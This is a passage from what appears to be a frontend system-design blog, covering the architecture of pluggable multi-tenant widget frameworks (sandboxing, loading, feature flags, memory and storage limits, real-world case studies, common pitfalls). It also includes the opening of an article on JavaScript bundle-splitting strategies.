    // 3. Resolve all widgets in parallel
    const resolutions = await Promise.allSettled(
      enabledWidgets.map((w) => this.registry.resolve(w.widgetId, w.version)),
    )

    // 4. Load successfully resolved widgets
    for (let i = 0; i < resolutions.length; i++) {
      const resolution = resolutions[i]
      const widgetConfig = enabledWidgets[i]

      if (resolution.status === "fulfilled") {
        await this.loadWidget(resolution.value, widgetConfig)
      } else {
        console.error(`Failed to resolve ${widgetConfig.widgetId}:`, resolution.reason)
        // Continue loading other widgets
      }
    }
  }

  private async loadWidget(resolved: ResolvedWidget, config: TenantWidgetConfig) {
    const loadedWidget: LoadedWidget = {
      id: resolved.id,
      version: resolved.version,
      slot: config.slot,
      instance: null!,
      state: "loading",
    }

    this.loadedWidgets.set(resolved.id, loadedWidget)

    try {
      // Fetch manifest to determine loading strategy
      const manifest = await this.fetchManifest(resolved.manifestUrl)

      // Load based on sandbox type
      const instance = await this.createWidgetInstance(manifest, resolved, config)

      loadedWidget.instance = instance
      loadedWidget.state = "active"

      // Register contribution points
      this.registerContributions(manifest, resolved.id)
    } catch (error) {
      loadedWidget.state = "error"
      console.error(`Failed to load widget ${resolved.id}:`, error)
    }
  }

  private async createWidgetInstance(
    manifest: WidgetManifest,
    resolved: ResolvedWidget,
    config: TenantWidgetConfig,
  ): Promise<WidgetInstance> {
    const sandboxType = manifest.sandbox?.type || "none"

    switch (sandboxType) {
      case "iframe":
        return this.createIframeWidget(resolved, manifest, config)

      case "shadow-dom":
        return this.createShadowDomWidget(resolved, manifest, config)

      case "wasm":
        return this.createWasmWidget(resolved, manifest, config)

      case "none":
      default:
        return this.createFederatedWidget(resolved, manifest, config)
    }
  }

  private async createIframeWidget(
    resolved: ResolvedWidget,
    manifest: WidgetManifest,
    config: TenantWidgetConfig,
  ): Promise<IframeWidgetInstance> {
    const iframe = document.createElement("iframe")

    // Apply sandbox restrictions
    const sandbox = manifest.sandbox!
    iframe.sandbox.add(...sandbox.allow.map((a) => `allow-${a}`))

    // Set CSP via attribute (embedded enforcement)
    if (sandbox.csp) {
      iframe.setAttribute("csp", sandbox.csp)
    }

    iframe.src = resolved.entryUrl

    return new IframeWidgetInstance(iframe, resolved.id, config.config)
  }

  async unloadWidget(widgetId: string) {
    const widget = this.loadedWidgets.get(widgetId)
    if (!widget) return

    widget.state = "inactive"

    // Cleanup instance
    await widget.instance.dispose()

    // Remove contributions
    this.slotRegistry.removeContributions(widgetId)

    this.loadedWidgets.delete(widgetId)
  }
}
```

### Feature Flag Integration

```typescript title="host/src/FeatureFlags.ts"
interface FeatureFlagService {
  isEnabled(flag: string, context: FlagContext): boolean
  getVariant<T>(flag: string, context: FlagContext): T | undefined
}

interface FlagContext {
  tenantId: string
  userId?: string
  environment: "production" | "staging" | "development"
}

class WidgetFeatureFlags {
  private flags: FeatureFlagService

  isWidgetEnabled(widgetId: string, tenantConfig: TenantWidgetConfig, context: FlagContext): boolean {
    // 1. Check tenant config first
    if (!tenantConfig.enabled) return false

    // 2. Check feature flag override
    const flagKey = `widget.${widgetId}.enabled`
    if (this.flags.isEnabled(flagKey, context) === false) {
      return false
    }

    // 3. Check rollout percentage
    const rolloutFlag = `widget.${widgetId}.rollout`
    const rollout = this.flags.getVariant<number>(rolloutFlag, context)
    if (rollout !== undefined) {
      const userHash = this.hashUser(context.userId || context.tenantId)
      return userHash < rollout
    }

    return true
  }

  private hashUser(userId: string): number {
    // Deterministic hash for consistent experience
    let hash = 0
    for (let i = 0; i < userId.length; i++) {
      hash = (hash << 5) - hash + userId.charCodeAt(i)
      hash |= 0
    }
    return Math.abs(hash) % 100
  }
}
```

## Browser Constraints

### Main Thread Budget

Widget loading competes with the host application for main thread time. Poor loading strategies cause jank.

**Loading waterfall (problematic):**

```
[Host init]--[Fetch config]--[Fetch widget A]--[Parse A]--[Fetch widget B]--[Parse B]
                                                                              |
                                                                         [First paint]
```

**Optimized loading:**

```
[Host init]--[Fetch config]--[Render host skeleton]
                    |
                    ├──[Fetch A]──[Parse A]
                    └──[Fetch B]──[Parse B]
                                      |
                              [Progressive paint]
```

```typescript title="host/src/OptimizedLoader.ts"
async function loadWidgetsOptimized(widgetConfigs: TenantWidgetConfig[]) {
  // 1. Render skeleton immediately
  renderSkeletons(widgetConfigs)

  // 2. Start all fetches in parallel
  const fetchPromises = widgetConfigs.map((config) => fetchWidgetBundle(config.widgetId))

  // 3. Process widgets as they complete (not waiting for all)
  for await (const result of raceSettled(fetchPromises)) {
    if (result.status === "fulfilled") {
      // Yield to main thread between widget initializations
      await yieldToMain()
      await initializeWidget(result.value)
    }
  }
}

function yieldToMain(): Promise<void> {
  return new Promise((resolve) => {
    if ("scheduler" in window && "yield" in (window as any).scheduler) {
      ;(window as any).scheduler.yield().then(resolve)
    } else {
      setTimeout(resolve, 0)
    }
  })
}

async function* raceSettled<T>(promises: Promise<T>[]): AsyncGenerator<PromiseSettledResult<T>> {
  const remaining = new Set(promises.map((p, i) => i))

  while (remaining.size > 0) {
    const results = await Promise.race(
      Array.from(remaining).map(async (i) => {
        try {
          const value = await promises[i]
          return { index: i, status: "fulfilled" as const, value }
        } catch (reason) {
          return { index: i, status: "rejected" as const, reason }
        }
      }),
    )

    remaining.delete(results.index)
    yield results.status === "fulfilled"
      ? { status: "fulfilled", value: results.value }
      : { status: "rejected", reason: results.reason }
  }
}
```

### Memory Limits

| Device Type      | Practical JS Heap Limit | Widget Budget       |
| ---------------- | ----------------------- | ------------------- |
| Low-end mobile   | 50-100MB                | 5-10MB per widget   |
| Mid-range mobile | 200-300MB               | 20-30MB per widget  |
| Desktop          | 500MB-1GB               | 50-100MB per widget |

**Memory management strategies:**

```typescript title="host/src/WidgetMemoryManager.ts"
class WidgetMemoryManager {
  private readonly maxTotalMemory: number
  private readonly maxWidgetMemory: number
  private activeWidgets = new Map<string, WidgetMemoryStats>()

  constructor(config: { maxTotalMemory: number; maxWidgetMemory: number }) {
    this.maxTotalMemory = config.maxTotalMemory
    this.maxWidgetMemory = config.maxWidgetMemory

    // Monitor memory pressure
    if ("memory" in performance) {
      this.startMemoryMonitoring()
    }
  }

  canLoadWidget(estimatedMemory: number): boolean {
    const currentUsage = this.getTotalUsage()
    return currentUsage + estimatedMemory <= this.maxTotalMemory
  }

  onWidgetOverMemory(widgetId: string) {
    console.warn(`Widget ${widgetId} exceeded memory limit`)

    // Option 1: Unload widget
    // this.unloadWidget(widgetId);

    // Option 2: Notify widget to reduce memory
    this.notifyWidget(widgetId, "MEMORY_PRESSURE")
  }

  private startMemoryMonitoring() {
    setInterval(() => {
      const memory = (performance as any).memory
      const usedRatio = memory.usedJSHeapSize / memory.jsHeapSizeLimit

      if (usedRatio > 0.9) {
        // Critical memory pressure
        this.handleMemoryPressure("critical")
      } else if (usedRatio > 0.7) {
        // Warning level
        this.handleMemoryPressure("warning")
      }
    }, 5000)
  }

  private handleMemoryPressure(level: "warning" | "critical") {
    // Unload inactive widgets first
    for (const [widgetId, stats] of this.activeWidgets) {
      if (!stats.visible && level === "critical") {
        this.unloadWidget(widgetId)
      }
    }
  }
}
```

### Storage Quotas

Widgets need persistent storage but share quotas with the host:

| Storage Type | Quota                | Widget Strategy      |
| ------------ | -------------------- | -------------------- |
| localStorage | 5MB                  | Avoid; use IndexedDB |
| IndexedDB    | 50% of disk (Chrome) | Namespace per widget |
| Cache API    | 50% of disk          | Careful eviction     |

```typescript title="host/src/WidgetStorage.ts"
class WidgetStorageManager {
  private db: IDBDatabase | null = null
  private readonly storeName = "widget_storage"

  async initialize() {
    this.db = await this.openDatabase()
  }

  private openDatabase(): Promise<IDBDatabase> {
    return new Promise((resolve, reject) => {
      const request = indexedDB.open("widget_host", 1)

      request.onerror = () => reject(request.error)
      request.onsuccess = () => resolve(request.result)

      request.onupgradeneeded = (event) => {
        const db = (event.target as IDBOpenDBRequest).result
        if (!db.objectStoreNames.contains(this.storeName)) {
          db.createObjectStore(this.storeName, { keyPath: "key" })
        }
      }
    })
  }

  async get<T>(widgetId: string, key: string): Promise<T | undefined> {
    const compositeKey = `${widgetId}:${key}`
    return this.dbGet(compositeKey)
  }

  async set<T>(widgetId: string, key: string, value: T): Promise<void> {
    const compositeKey = `${widgetId}:${key}`

    // Check quota before write
    const estimate = await navigator.storage.estimate()
    const usageRatio = (estimate.usage || 0) / (estimate.quota || 1)

    if (usageRatio > 0.9) {
      // Evict old widget data
      await this.evictOldData(widgetId)
    }

    return this.dbSet(compositeKey, value)
  }

  async getWidgetUsage(widgetId: string): Promise<number> {
    // Estimate storage used by this widget
    const keys = await this.getWidgetKeys(widgetId)
    let totalSize = 0

    for (const key of keys) {
      const value = await this.dbGet(key)
      totalSize += new Blob([JSON.stringify(value)]).size
    }

    return totalSize
  }
}
```

## Real-World Implementations

### VS Code Extensions

**Context:** Desktop code editor with 40,000+ extensions.

**Architecture:**

- Extensions run in separate **Extension Host** process (Node.js)
- UI extensions use **webview** (Chromium iframe with restricted API)
- Communication via IPC (Inter-Process Communication)

**Key design decisions:**

| Decision            | Rationale                                             |
| ------------------- | ----------------------------------------------------- |
| Separate process    | Misbehaving extensions can't crash editor             |
| Activation events   | Lazy loading—extensions load only when needed         |
| Contribution points | Declarative UI integration via `contributes` manifest |
| Sandboxed webviews  | HTML panels isolated from VS Code DOM                 |

**Manifest example:**

```json
{
  "name": "my-extension",
  "activationEvents": ["onLanguage:javascript"],
  "contributes": {
    "commands": [{ "command": "ext.doThing", "title": "Do Thing" }],
    "menus": {
      "editor/context": [{ "command": "ext.doThing" }]
    }
  }
}
```

**Outcome:** Extensions enhance functionality without affecting editor stability. Process isolation means extension crashes are recoverable.

### Figma Plugins

**Context:** Web-based design tool; plugins manipulate design documents.

**Architecture:**

- **UI layer**: Standard iframe for plugin UI
- **Logic layer**: QuickJS JavaScript engine compiled to WASM
- Document access only through controlled API

**Why WASM sandbox?**

1. Cannot use `eval()` (security)
2. Plugins must not access Figma's DOM
3. Need deterministic execution for collaborative editing

**Two-process model:**

```
Plugin UI (iframe) ←→ postMessage ←→ Plugin Logic (WASM) ←→ Figma API ←→ Document
```

**Security properties:**

- Plugin cannot access browser APIs directly
- Plugin cannot manipulate Figma's UI
- All document operations go through audited API
- Plugin code runs in capability-constrained sandbox

**Trade-off accepted:** QuickJS is ~10-30x slower than V8. Acceptable because document operations are the bottleneck, not JavaScript execution.

**Source:** [How Figma Built the Plugin System](https://www.figma.com/blog/how-we-built-the-figma-plugin-system/)

### Shopify Embedded Apps

**Context:** E-commerce platform; apps extend merchant admin functionality.

**Architecture:**

- Apps run in **iframe** embedded in Shopify admin
- Communication via **App Bridge** SDK (postMessage abstraction)
- OAuth for authentication; session tokens for API access

**App Bridge SDK:**

```typescript
import { createApp } from "@shopify/app-bridge"
import { Redirect, Toast } from "@shopify/app-bridge/actions"

const app = createApp({
  apiKey: "api-key",
  shopOrigin: "myshop.myshopify.com",
})

// Show toast notification (rendered by Shopify, not iframe)
const toast = Toast.create(app, { message: "Order updated", duration: 5000 })
toast.dispatch(Toast.Action.SHOW)

// Navigate within Shopify admin
const redirect = Redirect.create(app)
redirect.dispatch(Redirect.Action.ADMIN_PATH, "/orders")
```

**Multi-tenancy model:**

- Each Shopify store is a tenant
- Apps install per-store with store-specific credentials
- App Bridge passes shop context on every request

**Security properties:**

- Apps cannot access other stores' data
- OAuth scopes limit API access per app
- iframe sandbox prevents DOM manipulation

**Source:** [Shopify App Bridge Documentation](https://shopify.dev/docs/api/app-bridge)

### Salesforce Lightning Web Components

**Context:** Enterprise CRM with third-party components from multiple ISVs.

**Architecture:**

- Components run in **Lightning Web Security (LWS)** virtual environment
- Namespace isolation: `c-myComponent` vs `partner-theirComponent`
- Shadow DOM for style encapsulation

**Lightning Web Security:**

```
┌─────────────────────────────────────────┐
│            Salesforce Page              │
├─────────────────────────────────────────┤
│  ┌──────────────┐  ┌──────────────┐     │
│  │ Namespace A  │  │ Namespace B  │     │
│  │ (Virtual Env)│  │ (Virtual Env)│     │
│  │  Component1  │  │  Component2  │     │
│  └──────────────┘  └──────────────┘     │
└─────────────────────────────────────────┘
```

**Security properties:**

- Components in different namespaces cannot access each other's resources
- Distorted global objects prevent prototype pollution
- API calls go through Salesforce proxy with permission checks

**Trade-off:** Slightly different JavaScript semantics (global object distortion). Most code works unchanged; edge cases require adaptation.

**Source:** [Lightning Web Security Architecture](https://developer.salesforce.com/docs/platform/lwc/guide/security-lwsec-intro.html)

## Common Pitfalls

### 1. Loading All Widgets Eagerly

**The mistake:** Fetching and initializing all widgets on page load regardless of visibility.

**Example:** Dashboard with 20 widgets; user only sees 4 above the fold. Loading all 20 blocks main thread for 2+ seconds.

**Why it happens:** Simpler implementation; deferred loading requires tracking visibility.

**Solution:**

```typescript
class LazyWidgetLoader {
  private observer: IntersectionObserver
  private pendingWidgets = new Map<Element, string>()

  constructor() {
    this.observer = new IntersectionObserver(
      this.handleIntersection,
      { rootMargin: "100px" }, // Preload slightly before visible
    )
  }

  registerSlot(element: Element, widgetId: string) {
    this.pendingWidgets.set(element, widgetId)
    this.observer.observe(element)
  }

  private handleIntersection: IntersectionObserverCallback = (entries) => {
    for (const entry of entries) {
      if (entry.isIntersecting) {
        const widgetId = this.pendingWidgets.get(entry.target)
        if (widgetId) {
          this.loadWidget(widgetId, entry.target)
          this.pendingWidgets.delete(entry.target)
          this.observer.unobserve(entry.target)
        }
      }
    }
  }
}
```

### 2. Missing Origin Validation in postMessage

**The mistake:** Handling all messages without checking origin.

```typescript
// DANGEROUS: No origin check
window.addEventListener("message", (event) => {
  if (event.data.type === "WIDGET_REQUEST") {
    handleWidgetRequest(event.data) // Attacker can send messages too
  }
})
```

**Impact:** Attacker opens your site in iframe, sends malicious messages, triggers actions with user's credentials.

**Solution:**

```typescript
const TRUSTED_ORIGINS = new Set(["https://widget1.example.com", "https://widget2.example.com"])

window.addEventListener("message", (event) => {
  // CRITICAL: Always validate origin
  if (!TRUSTED_ORIGINS.has(event.origin)) {
    console.warn("Rejected message from untrusted origin:", event.origin)
    return
  }

  handleWidgetRequest(event.data)
})
```

### 3. Shared Dependency Version Conflicts

**The mistake:** Host uses React 18, widget bunled with React 17, both load.

**Impact:** Two React instances cause context mismatches, hooks fail mysteriously.

**Solution:**

```typescript
// webpack.config.js (host)
new ModuleFederationPlugin({
  shared: {
    react: {
      singleton: true,
      requiredVersion: "^18.0.0",
      strictVersion: true, // Fail if incompatible
    },
  },
})
```

Also validate in registry:

```typescript
function validateWidgetCompatibility(manifest: WidgetManifest) {
  const hostReact = "18.2.0"
  const widgetReact = manifest.dependencies?.react

  if (widgetReact && !satisfies(hostReact, widgetReact)) {
    throw new Error(`Widget requires React ${widgetReact}, host has ${hostReact}`)
  }
}
```

### 4. No Widget Lifecycle Management

**The mistake:** Loading widgets but never unloading them when no longer needed.

**Impact:** Memory grows unbounded; 50 widgets loaded over time, only 5 visible.

**Solution:**

```typescript
interface WidgetInstance {
  activate(): Promise<void>
  deactivate(): Promise<void>
  dispose(): Promise<void>
}

class WidgetLifecycleManager {
  private activeWidgets = new Map<string, WidgetInstance>()
  private visibleWidgets = new Set<string>()

  async handleVisibilityChange(widgetId: string, visible: boolean) {
    const widget = this.activeWidgets.get(widgetId)
    if (!widget) return

    if (visible) {
      this.visibleWidgets.add(widgetId)
      await widget.activate()
    } else {
      this.visibleWidgets.delete(widgetId)
      await widget.deactivate()

      // Unload after period of invisibility
      setTimeout(() => {
        if (!this.visibleWidgets.has(widgetId)) {
          this.unloadWidget(widgetId)
        }
      }, 60000) // 1 minute
    }
  }

  private async unloadWidget(widgetId: string) {
    const widget = this.activeWidgets.get(widgetId)
    if (widget) {
      await widget.dispose()
      this.activeWidgets.delete(widgetId)
    }
  }
}
```

### 5. Blocking Main Thread During Widget Init

**The mistake:** Synchronously parsing and executing large widget bundles.

**Impact:** UI freezes during widget load; user sees blank screen.

**Solution:**

```typescript
async function initializeWidgetAsync(code: string, container: Element) {
  // Parse in chunks using requestIdleCallback
  const chunks = splitIntoChunks(code, 50000) // 50KB chunks

  for (const chunk of chunks) {
    await new Promise<void>((resolve) => {
      requestIdleCallback(
        () => {
          // Parse chunk
          parseChunk(chunk)
          resolve()
        },
        { timeout: 100 },
      )
    })
  }

  // Initialize widget after parsing
  await new Promise<void>((resolve) => {
    requestAnimationFrame(() => {
      mountWidget(container)
      resolve()
    })
  })
}
```

## Conclusion

Building a multi-tenant pluggable widget framework requires navigating three axes:

1. **Security vs Performance**: iframe/WASM isolation is safest but has overhead; Module Federation is fast but trusts widgets
2. **Flexibility vs Complexity**: More extension points enable richer widgets but increase API surface to maintain
3. **Per-tenant customization vs Operational simplicity**: Feature flags add deployment complexity but enable fine-grained control

**Recommended starting points by use case:**

| Scenario                    | Isolation                  | Loading           | Registry                |
| --------------------------- | -------------------------- | ----------------- | ----------------------- |
| Internal micro-frontends    | Module Federation          | Module Federation | npm/internal registry   |
| Third-party app marketplace | iframe + postMessage       | Dynamic script    | Custom registry + OAuth |
| High-security (financial)   | WASM sandbox               | Dynamic fetch     | Signed manifests        |
| Design tool plugins         | WASM (logic) + iframe (UI) | Controlled loader | Curated store           |

**Key design decisions to make early:**

1. What's your trust model? Internal-only vs open marketplace changes everything
2. What API surface will you support? Once published, it's hard to change
3. How will you version the host SDK? Widgets depend on stability
4. How do you handle widget failures? Graceful degradation vs hard failure

The frameworks that succeed (VS Code, Figma, Shopify) share a common pattern: **minimal core, maximal extensibility through well-defined contribution points, and strong isolation boundaries**. Start with clear boundaries; relaxing them later is easier than adding them.

## Appendix

### Prerequisites

- Understanding of JavaScript module systems (ES modules, CommonJS)
- Familiarity with webpack or Vite bundling
- Knowledge of browser security model (same-origin policy, CSP)
- Basic understanding of iframe and postMessage APIs

### Terminology

| Term                   | Definition                                                                 |
| ---------------------- | -------------------------------------------------------------------------- |
| **Module Federation**  | Webpack 5 feature allowing multiple builds to share code at runtime        |
| **Contribution Point** | Named extension point in host UI where widgets can render                  |
| **Manifest**           | JSON file declaring widget metadata, capabilities, and requirements        |
| **Activation Event**   | Trigger that causes a widget to load (e.g., slot visible, command invoked) |
| **Sandbox**            | Restricted execution environment limiting widget capabilities              |
| **postMessage**        | Browser API for cross-origin communication between windows/iframes         |
| **Shadow DOM**         | Browser API for encapsulated DOM subtree with style isolation              |
| **WASM**               | WebAssembly; binary instruction format for sandboxed execution             |
| **QuickJS**            | Lightweight JavaScript engine; can be compiled to WASM for sandboxing      |
| **Singleton**          | Shared dependency constraint ensuring only one instance loads              |

### Summary

- Widget frameworks follow the microkernel pattern: minimal core + pluggable extensions
- Isolation strategies trade security for performance (iframe > WASM > Shadow DOM > Module Federation)
- Manifests declare capabilities declaratively; host renders contributions without loading all code
- Multi-tenancy uses config service + feature flags to determine per-tenant widget sets
- Registry resolves widget IDs to versioned URLs with compatibility validation
- Host SDK provides controlled API surface; widgets cannot access arbitrary host internals
- Memory and main thread budgets constrain how many widgets can load simultaneously

### References

**Module Federation:**

- [Webpack Module Federation Documentation](https://webpack.js.org/concepts/module-federation/) - Official webpack docs
- [Module Federation Deep Dive](https://scriptedalchemy.medium.com/understanding-webpack-module-federation-a-deep-dive-efe5c55bf366) - Architecture details

**Browser Sandboxing:**

- [iframe sandbox - MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#sandbox) - Sandbox attribute reference
- [Content Security Policy - MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) - CSP documentation
- [Playing Safely in Sandboxed IFrames - web.dev](https://web.dev/articles/sandboxed-iframes) - Security guidance

**Shadow DOM:**

- [Using Shadow DOM - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_shadow_DOM) - API reference
- [Shadow DOM Encapsulation - CSS-Tricks](https://css-tricks.com/encapsulating-style-and-structure-with-shadow-dom/) - Practical guide

**Production Implementations:**

- [VS Code Extension Host](https://code.visualstudio.com/api/advanced-topics/extension-host) - Architecture documentation
- [How Figma Built the Plugin System](https://www.figma.com/blog/how-we-built-the-figma-plugin-system/) - WASM sandbox approach
- [Shopify App Bridge](https://shopify.dev/docs/api/app-bridge) - iframe + SDK pattern
- [Salesforce Lightning Web Security](https://developer.salesforce.com/docs/platform/lwc/guide/security-lwsec-intro.html) - Namespace isolation

**Multi-Tenancy:**

- [ConfigCat Multi-Tenant Feature Flags](https://configcat.com/blog/2022/07/22/how-to-target-features-by-tenants/) - Feature flag patterns
- [AWS AppConfig Multi-Tenant Configuration](https://aws.amazon.com/blogs/mt/using-aws-appconfig-to-manage-multi-tenant-saas-configurations/) - Config service architecture

**Communication Patterns:**

- [Window.postMessage - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) - API reference
- [Secure Cross-Window Communication](https://www.bindbee.dev/blog/secure-cross-window-communication) - Security best practices

---

## Bundle Splitting Strategies

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/bundle-splitting-strategies
**Category:** System Design / Frontend System Design
**Description:** Modern JavaScript applications ship megabytes of code by default. Without bundle splitting, users download, parse, and execute the entire application before seeing anything interactive—regardless of which features they’ll actually use. Bundle splitting transforms monolithic builds into targeted delivery: load the code for the current route immediately, defer everything else until needed. The payoff is substantial—30-60% reduction in initial bundle size translates directly to faster Time to Interactive (TTI) and improved Core Web Vitals.

# Bundle Splitting Strategies

Modern JavaScript applications ship megabytes of code by default. Without bundle splitting, users download, parse, and execute the entire application before seeing anything interactive—regardless of which features they'll actually use. Bundle splitting transforms monolithic builds into targeted delivery: load the code for the current route immediately, defer everything else until needed. The payoff is substantial—30-60% reduction in initial bundle size translates directly to faster Time to Interactive (TTI) and improved Core Web Vitals.

<figure>

![Bundle splitting reduces initial payload by loading only what's needed for the current route, deferring the rest.](./bundle-splitting-reduces-initial-payload-by-loading-only-what-s-needed-for-the-c.svg)

<figcaption>Bundle splitting reduces initial payload by loading only what's needed for the current route, deferring the rest.</figcaption>
</figure>

## Abstract

Bundle splitting is a **build-time optimization** that divides application code into separate chunks loaded on demand. The core insight: users access one route at a time, so they should only pay the download cost for that route's code.

Three fundamental strategies exist, each addressing different optimization goals:

1. **Entry splitting**: Create separate bundles per entry point (multi-page apps, micro-frontends). Each entry gets independent dependency resolution.
2. **Route/component splitting**: Use dynamic `import()` to load code when users navigate or interact. The dominant pattern for SPAs.
3. **Vendor splitting**: Isolate `node_modules` into stable chunks. Dependencies change less frequently than application code—separate chunks improve cache hit rates across deployments.

Critical constraints shape implementation:

- **Static analysis requirement**: Bundlers must determine chunk boundaries at build time. Fully dynamic import paths (e.g., `import(userInput)`) cannot be split.
- **HTTP/2 sweet spot**: 10-30 chunks balance caching benefits against connection overhead. Too few chunks = poor cache utilization; too many = HTTP/2 stream saturation.
- **Compression effectiveness**: Smaller chunks compress less efficiently than larger ones. A 10KB chunk may only compress 50%; a 100KB chunk may compress 70%.
- **Prefetch/preload timing**: Splitting without intelligent loading creates waterfalls. Prefetching predicted routes and preloading critical resources recovers the latency cost.

Build tools handle these trade-offs differently: Webpack's SplitChunksPlugin offers granular control with complex configuration; Vite/Rollup favor convention over configuration with sensible defaults; esbuild prioritizes speed with simpler splitting semantics.

## The Challenge

### Browser Constraints

JavaScript execution blocks the main thread. Large bundles create measurable user experience degradation:

**Parse time**: V8 parses JavaScript at roughly 1MB/second on mobile devices (benchmarked on mid-range Android). A 2MB bundle = 2 seconds of parse time before any code executes.

**Execution time**: Module initialization (top-level code, class definitions, side effects) runs synchronously. Heavy initialization chains delay interactivity.

**Memory pressure**: Each loaded module consumes memory for its AST, compiled bytecode, and runtime objects. On memory-constrained mobile devices, loading unused code competes with application state for limited heap.

### Performance Targets

| Metric                          | Target  | Bundle Impact                                          |
| ------------------------------- | ------- | ------------------------------------------------------ |
| LCP (Largest Contentful Paint)  | < 2.5s  | Initial JS blocks render; smaller bundles = faster LCP |
| INP (Interaction to Next Paint) | < 200ms | Large bundles increase main thread blocking time       |
| TTI (Time to Interactive)       | < 3.8s  | Direct correlation with JavaScript payload size        |

**Rule of thumb**: Keep initial JavaScript under 100KB gzipped for mobile-first applications. Each additional 100KB adds roughly 1 second to TTI on 3G connections.

### Scale Factors

| Application Type | Without Splitting | With Splitting | Reduction |
| ---------------- | ----------------- | -------------- | --------- |
| Marketing site   | 50-100KB          | 20-40KB        | 40-60%    |
| Dashboard SPA    | 500KB-1MB         | 100-200KB      | 60-80%    |
| E-commerce       | 1-2MB             | 200-400KB      | 70-80%    |
| Complex SaaS     | 2-5MB             | 300-600KB      | 80-90%    |

## Design Paths

### Path 1: Route-Based Code Splitting

**How it works:**

Each route in the application becomes a separate chunk. When users navigate, the router triggers a dynamic import that loads the route's code on demand.

```typescript title="route-based-splitting.tsx" collapse={1-4,35-45}
import { lazy, Suspense } from 'react';
import { createBrowserRouter, RouterProvider } from 'react-router-dom';

// Dynamic imports create separate chunks at build time
// Webpack names chunks based on the file path or magic comments
const Home = lazy(() => import('./pages/Home'));
const Dashboard = lazy(() => import('./pages/Dashboard'));
const Settings = lazy(() => import('./pages/Settings'));
const Analytics = lazy(() =>
  import(/* webpackChunkName: "analytics" */ './pages/Analytics')
);

const router = createBrowserRouter([
  {
    path: '/',
    element: (
      <Suspense fallback={<PageSkeleton />}>
        <Home />
      </Suspense>
    ),
  },
  {
    path: '/dashboard',
    element: (
      <Suspense fallback={<PageSkeleton />}>
        <Dashboard />
      </Suspense>
    ),
  },
  // Additional routes...
]);

function App() {
  return <RouterProvider router={router} />;
}
```

**Why this works:**

- `import()` returns a Promise that resolves to the module
- Bundlers perform static analysis to identify import boundaries
- Each `import()` call becomes a separate chunk in the build output
- React's `lazy()` integrates Promises with Suspense boundaries

**Framework implementations:**

| Framework    | Mechanism                      | Configuration                              |
| ------------ | ------------------------------ | ------------------------------------------ |
| Next.js      | Automatic per-page splitting   | Zero config; each `pages/*.tsx` is a chunk |
| React Router | `lazy()` + `Suspense`          | Manual setup per route                     |
| Vue Router   | `() => import('./Page.vue')`   | Built into router config                   |
| Angular      | `loadChildren` in route config | Built into router module                   |
| SvelteKit    | `+page.svelte` convention      | Automatic per-route                        |

**Performance characteristics:**

| Metric             | Value                        |
| ------------------ | ---------------------------- |
| Typical reduction  | 30-60% of initial bundle     |
| Chunk count        | 1 per route + shared chunks  |
| Navigation latency | 50-200ms for chunk fetch     |
| Caching            | Unchanged routes stay cached |

**Best for:**

- SPAs with distinct route boundaries
- Applications where users typically access a subset of features
- Progressive disclosure patterns (landing → dashboard → settings)

**Trade-offs:**

- Navigation delay for first visit to each route
- Requires Suspense boundaries for loading states
- Shared dependencies across routes need vendor splitting

**Real-world example:**

Airbnb's web application uses route-based splitting extensively. Their listing search page, booking flow, and host dashboard are separate chunks. Engineers measured a 67% reduction in initial JavaScript and 20% improvement in TTI after implementing route splitting with prefetching.

### Path 2: Component-Level Code Splitting

**How it works:**

Heavy components within a route are split and loaded on demand—triggered by user interaction or visibility rather than navigation.

```typescript title="component-splitting.tsx" collapse={1-3,28-35}
import { lazy, Suspense, useState } from 'react';

// Heavy visualization library only loads when chart is rendered
const AnalyticsChart = lazy(() =>
  import(/* webpackChunkName: "chart" */ './AnalyticsChart')
);

// Rich text editor loads when user clicks "Edit"
const RichTextEditor = lazy(() =>
  import(/* webpackChunkName: "editor" */ './RichTextEditor')
);

function Dashboard() {
  const [showChart, setShowChart] = useState(false);
  const [editing, setEditing] = useState(false);

  return (
    <div>
      <button onClick={() => setShowChart(true)}>Show Analytics</button>

      {showChart && (
        <Suspense fallback={<ChartSkeleton />}>
          <AnalyticsChart data={analyticsData} />
        </Suspense>
      )}

      <button onClick={() => setEditing(true)}>Edit Content</button>

      {editing && (
        <Suspense fallback={<EditorSkeleton />}>
          <RichTextEditor content={content} />
        </Suspense>
      )}
    </div>
  );
}
```

**Typical candidates for component splitting:**

| Component Type    | Example Libraries      | Typical Size |
| ----------------- | ---------------------- | ------------ |
| Rich text editors | Slate, TipTap, Quill   | 100-300KB    |
| Charting          | D3, Chart.js, Recharts | 50-200KB     |
| Code editors      | Monaco, CodeMirror     | 500KB-2MB    |
| PDF viewers       | pdf.js                 | 400-600KB    |
| Maps              | Mapbox, Google Maps    | 100-500KB    |
| Markdown          | marked + highlight.js  | 50-150KB     |

**Trigger strategies:**

1. **User interaction**: Load when user clicks a button or tab
2. **Intersection Observer**: Load when component scrolls into viewport
3. **Hover intent**: Prefetch on hover, load on click
4. **Idle callback**: Load during browser idle time

```typescript title="intersection-observer-loading.tsx" collapse={1-5,25-30}
import { lazy, Suspense, useEffect, useRef, useState } from 'react';

const HeavyComponent = lazy(() => import('./HeavyComponent'));

function LazyOnVisible({ children }: { children: React.ReactNode }) {
  const ref = useRef<HTMLDivElement>(null);
  const [isVisible, setIsVisible] = useState(false);

  useEffect(() => {
    const observer = new IntersectionObserver(
      ([entry]) => {
        if (entry.isIntersecting) {
          setIsVisible(true);
          observer.disconnect();
        }
      },
      { rootMargin: '200px' } // Start loading 200px before visible
    );

    if (ref.current) observer.observe(ref.current);
    return () => observer.disconnect();
  }, []);

  return (
    <div ref={ref}>
      {isVisible ? children : <Placeholder />}
    </div>
  );
}
```

**Trade-offs:**

- Additional network requests on user interaction
- Requires careful loading state design
- Can feel slow without prefetching

### Path 3: Vendor Splitting

**How it works:**

Third-party dependencies (`node_modules`) are extracted into separate chunks. Application code changes frequently; dependencies don't. Separate chunks maximize cache efficiency.

```javascript title="webpack.config.js - vendor splitting" collapse={1-8,30-40}
// webpack.config.js
module.exports = {
  optimization: {
    splitChunks: {
      chunks: "all",
      cacheGroups: {
        // Framework chunks (React, Vue, etc.) - very stable
        framework: {
          test: /[\\/]node_modules[\\/](react|react-dom|scheduler)[\\/]/,
          name: "framework",
          priority: 40,
          enforce: true,
        },
        // Large libraries get their own chunks
        vendors: {
